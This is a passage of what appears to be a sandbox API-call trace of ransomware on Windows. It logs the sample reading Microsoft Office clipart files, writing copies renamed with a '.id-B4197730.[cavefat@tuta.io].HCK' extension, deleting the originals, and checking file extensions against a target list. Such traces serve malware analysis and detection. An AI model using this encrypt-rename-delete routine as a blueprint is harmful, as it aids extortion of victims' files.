dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.630] SetEndOfFile (hFile=0x2fc) returned 1 [0178.632] CloseHandle (hObject=0x2fc) returned 1 [0178.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01357_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.634] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01357_.wmf")) returned 1 [0178.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01357_.WMF") returned 68 [0178.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01357_.WMF") returned 68 [0178.636] lstrlenW (lpString=".doc") returned 4 [0178.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.636] lstrlenW (lpString=".docx") returned 5 [0178.636] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.636] lstrlenW (lpString=".pdf") returned 4 [0178.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.636] lstrlenW (lpString=".xls") returned 4 [0178.636] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.636] lstrlenW (lpString=".xlsx") returned 5 [0178.637] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.637] lstrlenW (lpString=".ppt") returned 4 [0178.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01357_.WMF") returned 68 [0178.637] lstrlenW (lpString=".zip") returned 4 [0178.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.637] lstrlenW (lpString=".rar") returned 4 [0178.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.637] lstrlenW (lpString=".bz2") returned 4 [0178.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.637] lstrlenW (lpString=".7z") returned 3 [0178.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01357_.WMF") returned 68 [0178.637] lstrlenW (lpString=".dbf") returned 4 [0178.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01357_.WMF") returned 68 [0178.637] lstrlenW (lpString=".1cd") returned 4 [0178.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01357_.WMF") returned 68 [0178.637] lstrlenW (lpString=".jpg") returned 4 [0178.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01357_.WMF") returned 68 [0178.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01357_.WMF") returned 68 [0178.637] lstrlenW (lpString=".doc") returned 4 [0178.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.637] lstrlenW (lpString=".docx") returned 5 [0178.637] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.637] lstrlenW (lpString=".pdf") returned 4 [0178.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.637] lstrlenW (lpString=".xls") returned 4 [0178.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.637] lstrlenW (lpString=".xlsx") returned 5 [0178.637] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.637] lstrlenW (lpString=".ppt") returned 4 [0178.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01357_.WMF") returned 68 [0178.637] lstrlenW (lpString=".zip") returned 4 [0178.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.637] lstrlenW (lpString=".rar") returned 4 [0178.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.637] lstrlenW (lpString=".bz2") returned 4 [0178.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.637] lstrlenW (lpString=".7z") returned 3 [0178.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01357_.WMF") returned 68 [0178.638] lstrlenW (lpString=".dbf") returned 4 [0178.638] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01357_.WMF") returned 68 [0178.638] lstrlenW (lpString=".1cd") returned 4 [0178.638] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01357_.WMF") returned 68 [0178.638] lstrlenW (lpString=".jpg") returned 4 [0178.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.638] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.638] lstrlenW (lpString="NA01421_.WMF") returned 12 [0178.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01421_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.640] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=176494) returned 1 [0178.640] CloseHandle (hObject=0x39c) returned 1 [0178.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01421_.wmf")) returned 0x220 [0178.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01421_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01421_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01421_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.646] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.646] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01421_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01421_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.650] GetLastError () returned 0x0 [0178.650] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x2b16e, lpOverlapped=0x0) returned 1 [0178.664] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2b170, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2b170, lpOverlapped=0x0) returned 1 [0178.667] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.667] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.667] SetEndOfFile (hFile=0x370) returned 1 [0178.669] CloseHandle (hObject=0x370) returned 1 [0178.673] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.673] SetEndOfFile (hFile=0x39c) returned 1 [0178.675] CloseHandle (hObject=0x39c) returned 1 [0178.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01421_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.676] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01421_.wmf")) returned 1 [0178.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01421_.WMF") returned 68 [0178.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01421_.WMF") returned 68 [0178.678] lstrlenW (lpString=".doc") returned 4 [0178.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.678] lstrlenW (lpString=".docx") returned 5 [0178.678] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.678] lstrlenW (lpString=".pdf") returned 4 [0178.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.678] lstrlenW (lpString=".xls") returned 4 [0178.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.678] lstrlenW (lpString=".xlsx") returned 5 [0178.678] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.678] lstrlenW (lpString=".ppt") returned 4 [0178.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01421_.WMF") returned 68 [0178.678] lstrlenW (lpString=".zip") returned 4 [0178.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.678] lstrlenW (lpString=".rar") returned 4 [0178.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.678] lstrlenW (lpString=".bz2") returned 4 [0178.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.678] lstrlenW (lpString=".7z") returned 3 [0178.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01421_.WMF") returned 68 [0178.678] lstrlenW (lpString=".dbf") returned 4 [0178.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01421_.WMF") returned 68 [0178.678] lstrlenW (lpString=".1cd") returned 4 [0178.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01421_.WMF") returned 68 [0178.678] lstrlenW (lpString=".jpg") returned 4 [0178.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01421_.WMF") returned 68 [0178.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01421_.WMF") returned 68 [0178.678] lstrlenW (lpString=".doc") returned 4 [0178.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.679] lstrlenW (lpString=".docx") returned 5 [0178.679] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.679] lstrlenW (lpString=".pdf") returned 4 [0178.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.679] lstrlenW (lpString=".xls") returned 4 [0178.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.679] lstrlenW (lpString=".xlsx") returned 5 [0178.679] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.679] lstrlenW (lpString=".ppt") returned 4 [0178.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01421_.WMF") returned 68 [0178.679] lstrlenW (lpString=".zip") returned 4 [0178.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.679] lstrlenW (lpString=".rar") returned 4 [0178.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.679] lstrlenW (lpString=".bz2") returned 4 [0178.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.679] lstrlenW (lpString=".7z") returned 3 [0178.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01421_.WMF") returned 68 [0178.679] lstrlenW (lpString=".dbf") returned 4 [0178.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01421_.WMF") returned 68 [0178.679] lstrlenW (lpString=".1cd") returned 4 [0178.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01421_.WMF") returned 68 [0178.679] lstrlenW (lpString=".jpg") returned 4 [0178.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.679] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.679] lstrlenW (lpString="NA01472_.WMF") returned 12 [0178.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01472_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.681] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=8232) returned 1 [0178.681] CloseHandle (hObject=0x370) returned 1 [0178.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01472_.wmf")) returned 0x220 [0178.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01472_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01472_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01472_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.686] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.686] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01472_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01472_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.689] GetLastError () returned 0x0 [0178.689] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x2028, lpOverlapped=0x0) returned 1 [0178.690] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2030, lpOverlapped=0x0) returned 1 [0178.691] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.691] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.691] SetEndOfFile (hFile=0x370) returned 1 [0178.692] CloseHandle (hObject=0x370) returned 1 [0178.693] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.693] SetEndOfFile (hFile=0x368) returned 1 [0178.696] CloseHandle (hObject=0x368) returned 1 [0178.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01472_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.697] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01472_.wmf")) returned 1 [0178.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01472_.WMF") returned 68 [0178.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01472_.WMF") returned 68 [0178.700] lstrlenW (lpString=".doc") returned 4 [0178.700] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.700] lstrlenW (lpString=".docx") returned 5 [0178.700] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.700] lstrlenW (lpString=".pdf") returned 4 [0178.700] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.700] lstrlenW (lpString=".xls") returned 4 [0178.700] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.700] lstrlenW (lpString=".xlsx") returned 5 [0178.700] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.700] lstrlenW (lpString=".ppt") returned 4 [0178.700] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01472_.WMF") returned 68 [0178.700] lstrlenW (lpString=".zip") returned 4 [0178.700] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.700] lstrlenW (lpString=".rar") returned 4 [0178.700] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.700] lstrlenW (lpString=".bz2") returned 4 [0178.700] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.700] lstrlenW (lpString=".7z") returned 3 [0178.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01472_.WMF") returned 68 [0178.700] lstrlenW (lpString=".dbf") returned 4 [0178.701] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01472_.WMF") returned 68 [0178.701] lstrlenW (lpString=".1cd") returned 4 [0178.701] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01472_.WMF") returned 68 [0178.701] lstrlenW (lpString=".jpg") returned 4 [0178.701] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01472_.WMF") returned 68 [0178.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01472_.WMF") returned 68 [0178.701] lstrlenW (lpString=".doc") returned 4 [0178.701] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.701] lstrlenW (lpString=".docx") returned 5 [0178.701] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.701] lstrlenW (lpString=".pdf") returned 4 [0178.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.701] lstrlenW (lpString=".xls") returned 4 [0178.701] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.701] lstrlenW (lpString=".xlsx") returned 5 [0178.701] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.701] lstrlenW (lpString=".ppt") returned 4 [0178.701] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01472_.WMF") returned 68 [0178.701] lstrlenW (lpString=".zip") returned 4 [0178.701] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.701] lstrlenW (lpString=".rar") returned 4 [0178.701] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.701] lstrlenW (lpString=".bz2") returned 4 [0178.701] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.701] lstrlenW (lpString=".7z") returned 3 [0178.701] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01472_.WMF") returned 68 [0178.701] lstrlenW (lpString=".dbf") returned 4 [0178.701] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01472_.WMF") returned 68 [0178.701] lstrlenW (lpString=".1cd") returned 4 [0178.701] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01472_.WMF") returned 68 [0178.701] lstrlenW (lpString=".jpg") returned 4 [0178.701] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.701] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.701] lstrlenW (lpString="NA01680_.WMF") returned 12 [0178.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01680_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.705] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=2974) returned 1 [0178.705] CloseHandle (hObject=0x2fc) returned 1 [0178.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01680_.wmf")) returned 0x220 [0178.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01680_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01680_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01680_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.710] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.710] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01680_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01680_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.714] GetLastError () returned 0x0 [0178.714] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xb9e, lpOverlapped=0x0) returned 1 [0178.715] WriteFile (in: hFile=0x3a4, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xba0, lpOverlapped=0x0) returned 1 [0178.716] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.716] WriteFile (in: hFile=0x3a4, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.716] SetEndOfFile (hFile=0x3a4) returned 1 [0178.717] CloseHandle (hObject=0x3a4) returned 1 [0178.717] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.717] SetEndOfFile (hFile=0x300) returned 1 [0178.720] CloseHandle (hObject=0x300) returned 1 [0178.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01680_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 